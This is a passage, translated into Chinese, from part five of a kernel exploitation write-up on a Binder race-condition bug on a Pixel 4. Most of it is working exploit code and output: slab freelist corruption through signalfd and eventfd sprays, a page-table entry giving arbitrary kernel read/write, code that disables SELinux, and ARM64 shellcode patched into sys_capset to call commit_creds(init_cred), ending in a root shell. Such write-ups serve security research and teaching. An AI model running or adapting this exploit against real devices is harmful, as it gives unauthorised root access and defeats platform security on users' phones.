深入分析Binder中的单指令竞态条件漏洞(五)
在本文中,我们将为读者深入介绍Binder中的单指令竞态条件漏洞及其利用方法。
(接上文)
因为我们不确定我们是否能够用正确的swapper_pg_dir地址替换freelist指针,所以我们需要用另一种方式将它写在其他地方,并使freelist指针指向它。这样,我们就可以在两个而不是一个分配中编写描述符。这个阶段有点复杂,我们将一步一步地解释。
此过程的第一个要求是找到一个完全用零填充并且足够大的内核内存区域,以便即使signalfd修改我们的原始地址,我们也将最终进入其中(即,它应该大于0x40100字节)。应该用零填充的原因是因为我们将在其中分配slab对象,并且如果在此处存在非null值,它将用一个不可控制的地址替换freelist指针,并且如果随后进行分配,则会使系统崩溃发生在未映射或正在使用的内存中。
内核中可能存在满足这些要求的地址。就这里来说,我们选择了长度为0x198000的ipa_testbus_mem缓冲区。它是基于Qualcomm的设备所特有的,足以应对我们的Pixel 4攻击。
lyte@debian:~$ aarch64-linux-gnu-nm --print-size vmlinux | grep ipa_testbus_mem
ffffff900c19b0b8 0000000000198000 b ipa_testbus_mem
为了举例起见,我们将假设该缓冲区位于地址0x10000000处。如果我们要将freelist指针改为指向这个地址,它将被转换为0x10040100。但是,在这种情况下,这并不是一个问题,因为我们仍将以原始缓冲区结尾,并确保0x10040100的值仍为零。
正如我们前面所说的,我们将分两次进行分配。第一次是在ipa_testbus_mem中进行的分配,它将设置下一个freelist指针的值,并使其指向我们的swapper_pg_dir条目地址。然后,我们将释放所有内容,并利用该值重做一系列signalfd,以最终分配到swapper_pg_dir中的条目的内存空间。但是,要进行第一次分配,我们需要一个允许我们写入至少8个字节的任意值的对象。我们可以重用sendmsgs,但是它们需要被阻塞,因为我们必须耗尽slab的freelist才能到达我们的分配位置。由于非阻塞的sendmsg会被立即释放,所以情况就不是这样了。阻塞sendmsgs是一个潜在的解决方案,但是它的设置工作要比我们选择的对象(即eventfd)多一些。
struct eventfd_ctx {
struct kref kref;
wait_queue_head_t wqh;
__u64 count;
unsigned int flags;
};
利用eventfd的count字段,可以在内核内存中写入任意值。只需在eventfd返回的文件描述符上使用write写入一个值,就会使count递增相同的量。现在,策略如下:
使重叠信号FD与悬空存储器重叠
使用重叠的signalfd改变freelist指针,使其指向ipa_testbus_mem | 0x40100,这样signalfd带来的变化就不重要了
使用eventfds喷射,并在count中写入swapper_pg_dir条目的地址
在这个阶段,我们已经在内核内存中获得了一个持久的用户控制值。现在的想法是,使用这个值作为Slab的freelist的一部分。接下来的步骤如下:
释放所有eventfds
使用重叠signalfd篡改freelist指针,使其指向ipa_testbus_mem | 0x40100 + 0x20 (0x20为eventfd_ctx中count的偏移量)
使用其sigset值设置为块描述符0x00E8000080000751的signalfds进行喷射
一旦将条目写入swapper_pg_dir,我们就可以使用基地址0xFFFFFFF800000000从内核内存中进行任意的读写操作。
具体实现代码如下所示:
uint64_t bss_target=(kaslr_leak + IPA_TESTBUS_MEM) | 0x40100;
debug_printf("BSS alloc will be @%lx", bss_target);
uint64_t sigset_target=~bss_target;
ret=signalfd(overlapping_fd, (sigset_t*)&sigset_target, 0);
if (ret < 0)
debug_printf("Could not change overlapping_fd value with %lx", bss_target);
mask=get_sigfd_sigmask(overlapping_fd);
debug_printf("Value @X after changing overlapping_fd is %lx", mask);
uint64_t gb=0x40000000;
uint64_t index=0x1e0;
uint64_t base=0xffffff8000000000 + gb * index;
uint64_t target=kaslr_leak + SWAPPER_PG_DIR + index * 8;
debug_printf("Swapper dir alloc will be @%lx (index=%lx, base=%lx)",
target, index, base);
for (int i=0; i < NB_EVENTFDS_FINAL; i++) {
eventfd_bss[i]=eventfd(0, EFD_NONBLOCK);
if (eventfd_bss[i] < 0)
debug_printf("Could not open eventfd - %d (%s)", eventfd_bss[i], strerror(errno));
ret=write(eventfd_bss[i], &target, sizeof(uint64_t));
if (ret < 0)
debug_printf("Could not write eventfd - %d (%s)", eventfd_bss[i], strerror(errno));
}
uint64_t orig_mask=get_sigfd_sigmask(overlapping_fd);
for (int i=0; i < NB_EVENTFDS_FINAL; i++) {
ret=close(eventfd_bss[i]);
if (ret < 0)
debug_printf("Could not close eventfd (%d - %s)", eventfd_bss[i], strerror(errno));
mask=get_sigfd_sigmask(overlapping_fd);
if (mask !=orig_mask) goto next_stage;
}
next_stage:
bss_target=bss_target + (uint64_t)0x20;
uint64_t sigset_target=~bss_target;
ret=signalfd(overlapping_fd, (sigset_t*)&sigset_target, 0);
if (ret < 0)
debug_printf("Could not change overlapping_fd value with %lx", bss_target);
mask=get_sigfd_sigmask(overlapping_fd);
debug_printf("Value @X after changing overlapping_fd is %lx", mask);
uint64_t block_descriptor=0x00e8000000000751;
block_descriptor +=0x80000000;
int signalfd_bss[NB_SIGNALFDS_FINAL];
for (int i=0; i < NB_SIGNALFDS_FINAL; i++) {
unsigned long sigset_value=~block_descriptor;
signalfd_bss[i]=signalfd(-1, (sigset_t*)&sigset_value, 0);
if (signalfd_bss[i] < 0)
debug_printf("Could not open signalfd - %d (%s)", signalfd_bss[i], strerror(errno));
}
debug_printf("Kernel text value=%lx", *(unsigned long *)(base + 0x80000));
结果如下所示:
[6397] exploit.c:419:trigger_thread_func(): Swapper dir alloc will be @ffffff9a130b5f00 (index=1e0, base=fffffff800000000)
[6498] exploit.c:431:trigger_thread_func(): BSS alloc will be @ffffff9a12f45158
[6498] exploit.c:437:trigger_thread_func(): Value @X after changing overlapping_fd is ffffff9a12f45158
[6498] exploit.c:483:trigger_thread_func(): Value @X after changing overlapping_fd is ffffff9a12f45178
[6397] exploit.c:508:trigger_thread_func(): Kernel text value=148cc000
我们还可以注意到,我们映射的部分的前四个字节对应于vmlinux二进制文件的开头部分:
lyte@debian:~$ xxd vmlinux | head
00000000: 00c0 8c14 0000 0000 0000 0800 0000 0000 ................
00000010: 0070 2303 0000 0000 0a00 0000 0000 0000 .p#.............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
我们现在正处于漏洞利用的最后阶段。在本节中,我们将利用我们的任意内核读/写原语来禁用SELinux,修改进程的凭据并最终获得root shell。
这一部分非常简单,对于Android攻击来说也很常见。我们只需将selinux_enforcing设置为0即可。
uint64_t selinux_enforcing_addr=base + 0x80000 + SELINUX_ENFORCING;
debug_printf("Before: enforcing=%x
", *(uint32_t *)selinux_enforcing_addr);
*(uint32_t *)selinux_enforcing_addr=0;
debug_printf("After: enforcing=%x
", *(uint32_t *)selinux_enforcing_addr);
使用上面给出的代码片段,您应该会看到如下所示的输出:
[6397] exploit.c:508:trigger_thread_func(): Before: enforcing=1
[6397] exploit.c:508:trigger_thread_func(): After: enforcing=0
现在,剩下的最后一个问题是获取进程的root权限。为了实现这一点,我们将使用我们的read/write原语临时修改一个syscall处理程序。在本例中,我们将修改sys_capset,但在实践中,任何syscall都可以使用,只需确保它们在漏洞利用代码运行时被调用的机率很小即可。
为了获得root的权限和功能,我们将把exploit进程的凭据更改为init的凭据。为此,在init_cred上添加一个简单的commit_creds就可以解决这个问题。
这个过程对应的C代码如下所示:
#define LO_DWORD(addr) ((addr) & 0xffffffff)
#define HI_DWORD(addr) LO_DWORD((addr) >> 32)
uint64_t sys_capset_addr=base + 0x80000 + SYS_CAPSET;
uint64_t init_cred_addr=kaslr_leak + INIT_CRED;
uint64_t commit_creds_addr=kaslr_leak + COMMIT_CREDS;
uint32_t shellcode[]={
// commit_creds(init_cred)
0x58000040, // ldr x0, .+8
0x14000003, // b .+12
LO_DWORD(init_cred_addr),
HI_DWORD(init_cred_addr),
0x58000041, // ldr x1, .+8
0x14000003, // b .+12
LO_DWORD(commit_creds_addr),
HI_DWORD(commit_creds_addr),
0xA9BF7BFD, // stp x29, x30, [sp, #-0x10]!
0xD63F0020, // blr x1
0xA8C17BFD, // ldp x29, x30, [sp], #0x10
0x2A1F03E0, // mov w0, wzr
0xD65F03C0, // ret
};
uint8_t sys_capset[sizeof(shellcode)];
memcpy(sys_capset, sys_capset_addr, sizeof(sys_capset));
debug_print("Patching SyS_capset()
");
memcpy(sys_capset_addr, shellcode, sizeof(shellcode));
ret=capset(NULL, NULL);
debug_printf("capset returned %d", ret);
if (ret < 0) perror("capset failed");
debug_print("Restoring SyS_capset()");
memcpy(sys_capset_addr, sys_capset, sizeof(sys_capset));
system("sh");
exit(0);
最后,我们可以将所有内容放在一起,启动exploit,就可以获取root shell了。
[6397] exploit.c:508:trigger_thread_func(): Patching SyS_capset()
[6397] exploit.c:585:trigger_thread_func(): capset returned 0
[6397] exploit.c:588:trigger_thread_func(): Restoring SyS_capset()
id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
uname -a
Linux localhost 4.14.170-g5513138224ab-ab6570431 #1 SMP PREEMPT Tue Jun 9 02:18:01 UTC 2020 aarch64
Binder Transactions In The Bowels of the Linux Kernel - Synkactiv
Exploiting CVE-2020-0041: Escaping the Chrome Sandbox - Blue Frost Security
Part 1:
Part 2:
Android Kernel Sources - Before the patch for CVE-2020-0423
Service Manager Sources
Building a Pixel kernel with KASAN+KCOV
The SLUB allocator - PaoloMonti42
Google Developers - Pixel 4 "flame" factory images
Mitigations are attack surface, too - Project Zero
CVE-2017-11176: A step-by-step Linux Kernel exploitation - Lexfo
Part 1:
Part 2:
Part 3:
Part 4:
KSMA: Breaking Android kernel isolation and Rooting with ARM MMU features - ThomasKing
原文地址: